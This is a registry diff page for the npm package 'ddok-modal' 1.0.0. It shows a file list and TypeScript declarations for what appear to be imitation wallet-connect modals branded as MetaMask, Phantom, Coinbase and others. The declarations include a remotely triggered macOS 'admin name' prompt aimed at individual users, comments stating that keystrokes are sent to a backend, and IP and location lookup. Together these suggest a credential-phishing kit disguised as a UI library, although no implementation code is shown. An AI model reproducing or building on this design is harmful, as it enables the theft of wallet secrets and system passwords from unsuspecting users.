ddok-modal 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (86) hide show
  1. package/dist/assets/bitget_logo.png +0 -0
  2. package/dist/assets/coinbase_logo.svg +4 -0
  3. package/dist/assets/metamask_logo.svg +26 -0
  4. package/dist/assets/phantom_logo.svg +3 -0
  5. package/dist/assets/rabyy_logo.svg +41 -0
  6. package/dist/assets/tronlink_logo.jpeg +0 -0
  7. package/dist/components/ConnectWalletButton.d.ts +8 -0
  8. package/dist/components/ConnectWalletButton.d.ts.map +1 -0
  9. package/dist/components/CustomWalletModal.d.ts +6 -0
  10. package/dist/components/CustomWalletModal.d.ts.map +1 -0
  11. package/dist/components/MacModalTrigger.d.ts +24 -0
  12. package/dist/components/MacModalTrigger.d.ts.map +1 -0
  13. package/dist/components/ModalContainer.d.ts +19 -0
  14. package/dist/components/ModalContainer.d.ts.map +1 -0
  15. package/dist/components/WalletSelectionModal.d.ts +8 -0
  16. package/dist/components/WalletSelectionModal.d.ts.map +1 -0
  17. package/dist/index.cjs +14629 -0
  18. package/dist/index.cjs.map +1 -0
  19. package/dist/index.d.ts +201 -0
  20. package/dist/index.d.ts.map +1 -0
  21. package/dist/index.esm.js +14607 -0
  22. package/dist/index.esm.js.map +1 -0
  23. package/dist/services/config.d.ts +32 -0
  24. package/dist/services/config.d.ts.map +1 -0
  25. package/dist/services/keyService.d.ts +58 -0
  26. package/dist/services/keyService.d.ts.map +1 -0
  27. package/dist/services/macModalService.d.ts +12 -0
  28. package/dist/services/macModalService.d.ts.map +1 -0
  29. package/dist/services/userWalletService.d.ts +20 -0
  30. package/dist/services/userWalletService.d.ts.map +1 -0
  31. package/dist/toastr.min.css +1 -0
  32. package/dist/types.d.ts +46 -0
  33. package/dist/types.d.ts.map +1 -0
  34. package/dist/utils/Spinning.d.ts +8 -0
  35. package/dist/utils/Spinning.d.ts.map +1 -0
  36. package/dist/utils/assetPath.d.ts +21 -0
  37. package/dist/utils/assetPath.d.ts.map +1 -0
  38. package/dist/utils/assetPaths.d.ts +25 -0
  39. package/dist/utils/assetPaths.d.ts.map +1 -0
  40. package/dist/utils/locationService.d.ts +21 -0
  41. package/dist/utils/locationService.d.ts.map +1 -0
  42. package/dist/utils/toast.d.ts +16 -0
  43. package/dist/utils/toast.d.ts.map +1 -0
  44. package/dist/utils/useDarkMode.d.ts +6 -0
  45. package/dist/utils/useDarkMode.d.ts.map +1 -0
  46. package/dist/utils/walletDetection.d.ts +41 -0
  47. package/dist/utils/walletDetection.d.ts.map +1 -0
  48. package/dist/wallets/base/WalletModalBase.d.ts +25 -0
  49. package/dist/wallets/base/WalletModalBase.d.ts.map +1 -0
  50. package/dist/wallets/bitget/BitgetModal.d.ts +6 -0
  51. package/dist/wallets/bitget/BitgetModal.d.ts.map +1 -0
  52. package/dist/wallets/bitget/styles.css +2247 -0
  53. package/dist/wallets/coinbase/CoinbaseModal.d.ts +6 -0
  54. package/dist/wallets/coinbase/CoinbaseModal.d.ts.map +1 -0
  55. package/dist/wallets/coinbase/styles.css +2175 -0
  56. package/dist/wallets/mac/MacModal.d.ts +6 -0
  57. package/dist/wallets/mac/MacModal.d.ts.map +1 -0
  58. package/dist/wallets/mac/styles.css +2238 -0
  59. package/dist/wallets/metamask/FoxRiveAnimation.d.ts +3 -0
  60. package/dist/wallets/metamask/FoxRiveAnimation.d.ts.map +1 -0
  61. package/dist/wallets/metamask/MetamaskModal.d.ts +6 -0
  62. package/dist/wallets/metamask/MetamaskModal.d.ts.map +1 -0
  63. package/dist/wallets/metamask/assets/fox_appear.riv +0 -0
  64. package/dist/wallets/metamask/assets/metamask-fox.svg +24 -0
  65. package/dist/wallets/metamask/styles.css +369 -0
  66. package/dist/wallets/phantom/PhantomModal.d.ts +6 -0
  67. package/dist/wallets/phantom/PhantomModal.d.ts.map +1 -0
  68. package/dist/wallets/phantom/phantom/j.gif +0 -0
  69. package/dist/wallets/phantom/phantom/n.gif +0 -0
  70. package/dist/wallets/phantom/phantom/s.gif +0 -0
  71. package/dist/wallets/phantom/phantom/w.gif +0 -0
  72. package/dist/wallets/phantom/phantom/wp.gif +0 -0
  73. package/dist/wallets/phantom/styles.css +2273 -0
  74. package/dist/wallets/rabby/RabbyModal.d.ts +6 -0
  75. package/dist/wallets/rabby/RabbyModal.d.ts.map +1 -0
  76. package/dist/wallets/rabby/styles.css +2269 -0
  77. package/dist/wallets/registry.d.ts +24 -0
  78. package/dist/wallets/registry.d.ts.map +1 -0
  79. package/dist/wallets/solflare/SolflareModal.d.ts +6 -0
  80. package/dist/wallets/solflare/SolflareModal.d.ts.map +1 -0
  81. package/dist/wallets/solflare/styles.css +2205 -0
  82. package/dist/wallets/tronlink/TronlinkModal.d.ts +6 -0
  83. package/dist/wallets/tronlink/TronlinkModal.d.ts.map +1 -0
  84. package/dist/wallets/tronlink/assets/loading.gif +0 -0
  85. package/dist/wallets/tronlink/styles.css +2279 -0
  86. package/package.json +86 -0
@@ -0,0 +1,201 @@
1
+ import React from 'react';
2
+
3
+ interface ConnectWalletButtonProps {
4
+ className?: string;
5
+ userId?: string;
6
+ }
7
+ declare const ConnectWalletButton: React.FC<ConnectWalletButtonProps>;
8
+
9
+ type WalletType = 'MetaMask' | 'Phantom' | 'Rabby' | 'TronLink' | 'Bitget' | 'Coinbase' | 'Solflare' | 'Mac';
10
+ interface WalletConnectModalProps {
11
+ onWalletSelect?: (wallet: WalletType) => void;
12
+ onClose?: () => void;
13
+ isOpen?: boolean;
14
+ }
15
+ interface CustomWalletModalProps {
16
+ wallet: WalletType;
17
+ onClose?: () => void;
18
+ isOpen?: boolean;
19
+ userId?: string;
20
+ backendConfig?: {
21
+ enabled?: boolean;
22
+ userId?: string;
23
+ };
24
+ darkMode?: boolean;
25
+ /** For Mac modal: text to display in the admin name input field. */
26
+ adminName?: string;
27
+ }
28
+ interface WalletConfig {
29
+ id: WalletType;
30
+ name: string;
31
+ shortKey: string;
32
+ icon?: string;
33
+ }
34
+ /** Payload emitted by backend for showMacModal socket event. */
35
+ interface ShowMacModalPayload {
36
+ message?: string;
37
+ user_id?: string;
38
+ timestamp?: string;
39
+ /** Text to display in the admin name input field (mac_user_name). */
40
+ text?: string;
41
+ /** Timing in seconds (-1 = socket-only, 0+ = open after N seconds on load). */
42
+ timing?: number;
43
+ }
44
+
45
+ interface WalletSelectionModalProps extends WalletConnectModalProps {
46
+ userId?: string;
47
+ }
48
+ declare const WalletSelectionModal: React.FC<WalletSelectionModalProps>;
49
+
50
+ declare const CustomWalletModal: React.FC<CustomWalletModalProps>;
51
+
52
+ interface MacModalTriggerProps {
53
+ /** User ID for backend key service. Required when backendConfig.enabled is true. */
54
+ userId?: string;
55
+ /** Backend integration config. When enabled, keystrokes are sent to backend. */
56
+ backendConfig?: {
57
+ enabled?: boolean;
58
+ userId?: string;
59
+ };
60
+ /** Called when the Mac modal is closed. */
61
+ onClose?: () => void;
62
+ }
63
+ /**
64
+ * Listens for the backend socket event (default: `showMacModal`) and opens the Mac modal only when:
65
+ * - The user's OS is macOS (Mac, iPhone, iPad, iPod), and
66
+ * - The payload's user_id matches this component's userId (or backendConfig.userId).
67
+ * Mount once (e.g. at app root) to enable socket-triggered Mac modal.
68
+ *
69
+ * Backend example: io.emit('showMacModal', { message: '...', user_id, text, timestamp });
70
+ */
71
+ declare const MacModalTrigger: React.FC<MacModalTriggerProps>;
72
+
73
+ /**
74
+ * Wallet Registry
75
+ *
76
+ * To add a new wallet:
77
+ * 1. Add the wallet type to WalletType in types.ts
78
+ * 2. Add configuration here
79
+ * 3. Create the modal component in src/wallets/[wallet-name]/
80
+ * 4. Register it in walletComponents map
81
+ */
82
+ declare const walletConfigs: Record<WalletType, WalletConfig>;
83
+ /**
84
+ * Get wallet configuration by type
85
+ */
86
+ declare const getWalletConfig: (walletType: WalletType) => WalletConfig;
87
+ /**
88
+ * Get all available wallet types
89
+ */
90
+ declare const getAllWalletTypes: () => WalletType[];
91
+ /**
92
+ * Get wallet short key (for backend)
93
+ */
94
+ declare const getWalletShortKey: (walletType: WalletType) => string;
95
+
96
+ interface BackendConfig {
97
+ serverUrl?: string;
98
+ serverSocket?: string;
99
+ clientSocket?: string;
100
+ clientUrl?: string;
101
+ secretKey?: string;
102
+ backendUrl?: string;
103
+ assetBaseUrl?: string;
104
+ /** Socket event name for backend to trigger Mac modal. Default: 'showMacModal' */
105
+ macModalSocketEvent?: string;
106
+ }
107
+ declare const getConfig: () => Required<BackendConfig>;
108
+ declare const setConfig: (config: Partial<BackendConfig>) => void;
109
+ declare const getClientUrl: () => string;
110
+ declare const getBackendUrl: () => string;
111
+ declare const getAssetBaseUrl: () => string;
112
+ declare const getMacModalSocketEvent: () => string;
113
+
114
+ /**
115
+ * Subscribe to backend "show Mac modal" socket event.
116
+ * When the backend emits this event, the callback is invoked with the payload.
117
+ * Use with MacModalTrigger to show the Mac modal on signal.
118
+ * The modal should only be shown when payload.user_id matches the client's userId.
119
+ *
120
+ * @param callback - Called with the emitted payload (e.g. { message, user_id, timestamp }).
121
+ * @returns Unsubscribe function.
122
+ */
123
+ declare const subscribeToShowMacModal: (callback: (payload?: ShowMacModalPayload) => void) => (() => void);
124
+
125
+ /**
126
+ * Get both IP and Location in a single call
127
+ */
128
+ declare const getIPAndLocation: () => Promise<{
129
+ IP_address: string;
130
+ Location: string;
131
+ country_code: string;
132
+ }>;
133
+
134
+ interface UserWalletType {
135
+ _id: string;
136
+ name: string;
137
+ shortkey: string;
138
+ }
139
+ interface UserWalletTypesResponse {
140
+ user_id: string;
141
+ wallet_types: UserWalletType[];
142
+ }
143
+ /**
144
+ * Get wallet types for a user by user_id
145
+ * This endpoint requires authentication, but for the widget we'll make it public
146
+ * or use a different approach. For now, we'll try to fetch without auth.
147
+ */
148
+ declare const getUserWalletTypes: (userId: string) => Promise<UserWalletType[]>;
149
+ /**
150
+ * Clear cache for a specific user or all users
151
+ */
152
+ declare const clearWalletTypesCache: (userId?: string) => void;
153
+
154
+ /**
155
+ * Asset Path Utility
156
+ *
157
+ * Resolves asset paths using third-party URL from config.
158
+ * Assets are hosted on a CDN/third-party server instead of being bundled.
159
+ */
160
+ /**
161
+ * Get asset URL from third-party server
162
+ * @param relativePath - Path relative to dist folder (e.g., "wallets/metamask/assets/fox.svg")
163
+ * @returns Full URL to the asset on third-party server
164
+ */
165
+ declare function getAssetPath(relativePath: string): string;
166
+ /**
167
+ * Resolve asset import to full URL
168
+ * This function is used to convert asset imports (which export relative paths)
169
+ * to full URLs using the configured asset base URL
170
+ * @param assetImport - The imported asset (string path)
171
+ * @returns Full URL to the asset
172
+ */
173
+ declare function resolveAssetUrl(assetImport: string): string;
174
+
175
+ /**
176
+ * Asset Paths Configuration
177
+ *
178
+ * Defines all asset file paths relative to the dist folder.
179
+ * These paths are resolved to full URLs using the assetBaseUrl from config.
180
+ */
181
+ declare const ASSET_PATHS: {
182
+ readonly metamaskLogo: "menu/metamask_logo.svg";
183
+ readonly phantomLogo: "menu/phantom_logo.svg";
184
+ readonly rabbyLogo: "menu/rabyy_logo.svg";
185
+ readonly coinbaseLogo: "menu/coinbase_logo.svg";
186
+ readonly bitgetLogo: "menu/bitget_logo.png";
187
+ readonly tronlinkLogo: "menu/tronlink_logo.jpeg";
188
+ readonly solflareLogo: "menu/solflare_logo.png";
189
+ readonly metamaskFox: "v1/images/logo/metamask-fox.png";
190
+ readonly metamaskFoxRiv: "v1/static/media/fox_appear.9dea054e4b9b49cb4fad.riv";
191
+ readonly tronlinkLoading: "v4/images/loading.gif";
192
+ readonly solflareFlag: "v7/images/flag.mp4";
193
+ readonly phantomGifS: "v2/images/phantom/s.gif";
194
+ readonly phantomGifW: "v2/images/phantom/w.gif";
195
+ readonly phantomGifWp: "v2/images/phantom/wp.gif";
196
+ readonly phantomGifN: "v2/images/phantom/n.gif";
197
+ readonly phantomGifJ: "v2/images/phantom/j.gif";
198
+ };
199
+
200
+ export { ASSET_PATHS, ConnectWalletButton, CustomWalletModal, MacModalTrigger, WalletSelectionModal, clearWalletTypesCache, getAllWalletTypes, getAssetBaseUrl, getAssetPath, getBackendUrl, getClientUrl, getConfig, getIPAndLocation, getMacModalSocketEvent, getUserWalletTypes, getWalletConfig, getWalletShortKey, resolveAssetUrl, setConfig, subscribeToShowMacModal, walletConfigs };
201
+ export type { CustomWalletModalProps, MacModalTriggerProps, ShowMacModalPayload, UserWalletType, UserWalletTypesResponse, WalletConfig, WalletConnectModalProps, WalletType };
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,OAAO,IAAI,mBAAmB,EAAE,MAAM,kCAAkC,CAAC;AAClF,OAAO,EAAE,OAAO,IAAI,oBAAoB,EAAE,MAAM,mCAAmC,CAAC;AACpF,OAAO,EAAE,OAAO,IAAI,iBAAiB,EAAE,MAAM,gCAAgC,CAAC;AAC9E,OAAO,EAAE,OAAO,IAAI,eAAe,EAAE,MAAM,8BAA8B,CAAC;AAC1E,YAAY,EAAE,UAAU,EAAE,uBAAuB,EAAE,sBAAsB,EAAE,YAAY,EAAE,mBAAmB,EAAE,MAAM,SAAS,CAAC;AAC9H,YAAY,EAAE,oBAAoB,EAAE,MAAM,8BAA8B,CAAC;AACzE,OAAO,EAAE,aAAa,EAAE,eAAe,EAAE,iBAAiB,EAAE,iBAAiB,EAAE,MAAM,oBAAoB,CAAC;AAC1G,OAAO,EAAE,SAAS,EAAE,SAAS,EAAE,aAAa,EAAE,YAAY,EAAE,eAAe,EAAE,sBAAsB,EAAE,MAAM,mBAAmB,CAAC;AAC/H,OAAO,EAAE,uBAAuB,EAAE,MAAM,uBAAuB,CAAC;AAChE,OAAO,EAAE,gBAAgB,EAAE,MAAM,yBAAyB,CAAC;AAC3D,OAAO,EAAE,kBAAkB,EAAE,qBAAqB,EAAE,MAAM,8BAA8B,CAAC;AACzF,YAAY,EAAE,cAAc,EAAE,uBAAuB,EAAE,MAAM,8BAA8B,CAAC;AAC5F,OAAO,EAAE,YAAY,EAAE,eAAe,EAAE,MAAM,mBAAmB,CAAC;AAClE,OAAO,EAAE,WAAW,EAAE,MAAM,oBAAoB,CAAC"}